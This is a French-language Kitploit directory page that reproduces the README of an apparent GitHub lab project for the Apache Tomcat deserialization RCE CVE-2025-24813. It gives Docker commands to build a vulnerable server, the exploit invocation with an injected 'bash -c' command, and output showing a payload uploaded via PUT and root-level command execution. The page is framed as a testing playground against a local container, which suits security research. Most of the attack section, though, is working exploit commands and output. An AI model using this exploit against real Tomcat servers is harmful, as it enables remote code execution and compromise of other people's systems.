Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Tomcat-CVE_2025_24813 — A playground to test the RCE exploit for tomcat CVE-2025-24813 | Kitploit
Outils/GitHubGitHub/u238/tomcat-cve_2025_24813
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubu238/tomcat-cve_2025_24813

Tomcat-CVE_2025_24813

A playground to test the RCE exploit for tomcat CVE-2025-24813

Voir le dépôt
7il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Tomcat CVE-2025-24813 bac à sable

L'exploit a été forké depuis https://github.com/absholi7ly/POC-CVE-2025-24813/blob/main/README.md (n'a pas fonctionné pour moi)

Contenu

  1. ROOT.war est une application minimale avec un servlet incluant apache-common-3.1 et créant une session
  2. ysoserial.jar provient du dépôt ysoserial original (https://github.com/frohoff/ysoserial)
  3. Dockerfile pour construire une installation vulnérable
  4. CVE_2025_24813.py l'exploit réel

Configuration

Construire et exécuter l'installation Tomcat vulnérable

root@kitploit:~
$ docker build -t tomcat-cve-2025-24813 .
$ docker run --name tomcat-cve-2025-24813 -it -d -p 8080:8080 tomcat-cve-2025-24813

Exploitation

root@kitploit:~
$ python CVE_2025_24813.py --command 'bash -c echo${IFS}$(id)>/tmp/PWN'  http://localhost:8080

 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ███████╗      ██████╗ ██╗  ██╗ █████╗  ██╗██████╗
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗██╔════╝      ╚════██╗██║  ██║██╔══██╗███║╚════██╗
██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████╗█████╗ █████╔╝███████║╚█████╔╝╚██║ █████╔╝
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝██╔═══╝ ╚════██║██╔══██╗ ██║ ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗███████║      ███████╗     ██║╚█████╔╝ ██║██████╔╝
 ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚══════╝      ╚══════╝     ╚═╝ ╚════╝  ╚═╝╚═════╝
                          ---=== TOMCAT RCE PLAYGROUND by u238 ===---

[*] Session ID: u238
[+] Le serveur est accessible en écriture via PUT : http://localhost:8080/check.txt
[*] Génération de la charge utile ysoserial pour la commande : bash -c echo${IFS}$(id)>/tmp/PWN
[+] Charge utile générée avec succès : payload.ser
[+] Charge utile téléversée avec le statut 409 (Conflit) : http://localhost:8080/u238.session
[+] Exploit réussi ! Le serveur a renvoyé 500 après la désérialisation.
[+] La cible http://localhost:8080 est vulnérable à CVE-2025-24813 !
[+] Fichier temporaire supprimé : payload.ser

Vérification (après exploitation)

root@kitploit:~
$ podman exec tomcat-cve-2025-24813 cat /tmp/PWN
uid=0(root) gid=0(root) groups=0(root)
Télécharger l’outil